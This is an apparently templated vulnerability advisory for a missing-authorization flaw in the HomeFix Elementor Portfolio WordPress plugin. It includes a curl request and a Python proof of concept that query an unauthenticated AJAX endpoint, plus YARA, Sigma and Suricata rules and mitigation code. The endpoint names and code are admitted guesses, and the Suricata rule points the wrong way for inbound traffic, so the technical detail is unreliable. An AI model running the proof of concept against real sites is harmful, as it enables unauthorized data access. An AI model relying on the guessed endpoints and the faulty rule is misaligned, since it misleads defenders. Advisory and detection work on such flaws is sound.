CVE-2025-68981

Executive Summary

CVE-2025-68981 is a Missing Authorization vulnerability in the designthemes HomeFix Elementor Portfolio WordPress plugin (slug: homefix-ele-portfolio). The flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially exposing sensitive portfolio data or performing unauthorized actions. The vulnerability affects all versions up to and including 1.0.1. No official patch has been released, and no public exploit code or proof-of-concept is currently available. The CVSS score of 5.3 (Medium) reflects the low complexity and network-based attack vector, but the impact is limited to confidentiality.

Supply Chain & Package Security

This is a WordPress plugin hosted on the official WordPress plugin repository. The supply chain risk is elevated because:

• The plugin is unmaintained and no patch exists.
• Users relying on automatic updates may still be vulnerable.
• No signed releases or integrity checks are available from the vendor.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to information disclosure. No active exploitation has been observed in the wild (EPSS 0.0%).

Deep Dive & Mechanics

The vulnerability resides in the HomeFix Elementor Portfolio plugin’s REST API endpoints or AJAX handlers. The plugin fails to enforce proper capability checks before executing sensitive operations, such as retrieving portfolio items, modifying settings, or accessing private data.

Root Cause: The plugin uses wp_ajax_nopriv_* hooks without verifying user permissions, or it relies on nonce checks alone without capability validation. This allows any unauthenticated visitor to call these endpoints.

Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoints (e.g., /wp-admin/admin-ajax.php?action=homefix_get_portfolio_data). The server processes the request without checking if the user has the required role (e.g., edit_posts or manage_options).

Impact: Unauthorized access to portfolio data, including potentially sensitive metadata, images, or configuration details. In some cases, the attacker might be able to modify or delete portfolio entries if the missing authorization extends to write operations.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the plugin’s main PHP files. A typical vulnerable pattern:

Vulnerable (homefix-ele-portfolio.php):

add_action('wp_ajax_nopriv_homefix_get_portfolio', 'homefix_get_portfolio_callback');
function homefix_get_portfolio_callback() {
    // No capability check
    $portfolio_data = get_option('homefix_portfolio_items');
    wp_send_json_success($portfolio_data);
}

Patched (hypothetical):

add_action('wp_ajax_homefix_get_portfolio', 'homefix_get_portfolio_callback');
add_action('wp_ajax_nopriv_homefix_get_portfolio', 'homefix_get_portfolio_callback');
function homefix_get_portfolio_callback() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $portfolio_data = get_option('homefix_portfolio_items');
    wp_send_json_success($portfolio_data);
}

The patch would require adding a capability check (current_user_can()) and possibly restricting the nopriv hook to only allow read-only public data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with homefix-ele-portfolio <= 1.0.1 installed and active.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable AJAX action (e.g., homefix_get_portfolio).
2. Send a crafted request:

curl -X POST "http://target/wp-admin/admin-ajax.php" \
  -d "action=homefix_get_portfolio"

3. If successful, the response contains JSON with portfolio data.

Proof-of-Concept (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
data = {"action": "homefix_get_portfolio"}
resp = requests.post(target, data=data)
if resp.status_code == 200 and "success" in resp.json():
    print("Vulnerable! Data:", resp.json())
else:
    print("Not vulnerable or patched.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action parameters matching homefix_* from unauthenticated sources.
• Look for anomalous data retrieval patterns (e.g., bulk portfolio exports).

Hardening:

• Disable the plugin immediately if not essential.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to homefix_* actions.
• Add a custom capability check via a mu-plugin:

add_action('wp_ajax_nopriv_homefix_get_portfolio', function() {
    wp_die('Unauthorized', 403);
}, 1);

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=homefix_get_portfolio (or similar) from IPs not in the admin whitelist.
• Response bodies containing JSON with success:true and portfolio data.

File IOCs:

• Presence of the plugin directory: /wp-content/plugins/homefix-ele-portfolio/
• Modified timestamps on plugin files (if attacker uploaded backdoors).

Log IOCs:

• WordPress debug log entries: PHP Notice: Undefined index: ... or PHP Warning: Cannot modify header information related to AJAX handlers.

Detection Engineering

YARA Rule

rule CVE_2025_68981_HomeFix_Portfolio {
    meta:
        description = "Detects vulnerable HomeFix Elementor Portfolio plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68981"
    strings:
        $vuln_func = "wp_ajax_nopriv_homefix" nocase
        $vuln_action = "homefix_get_portfolio" nocase
    condition:
        $vuln_func or $vuln_action
}

Sigma Rule

title: CVE-2025-68981 - Missing Authorization in HomeFix Elementor Portfolio
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests to vulnerable HomeFix plugin endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=homefix_'
    condition: selection
falsepositives:
    - Legitimate admin requests (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-68981 - HomeFix Elementor Portfolio Missing Authorization";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=homefix_"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Apply virtual patching via WAF rules to block unauthenticated homefix_* AJAX actions.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Since no official patch exists, consider forking the plugin and adding proper capability checks (see patched code example).
• Replace the plugin with an alternative that is actively maintained.

Workaround:

• Add the following code to a custom mu-plugin to block all unauthenticated homefix_* AJAX calls:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'homefix_') === 0) {
            wp_die('Unauthorized', 403);
        }
    }
});

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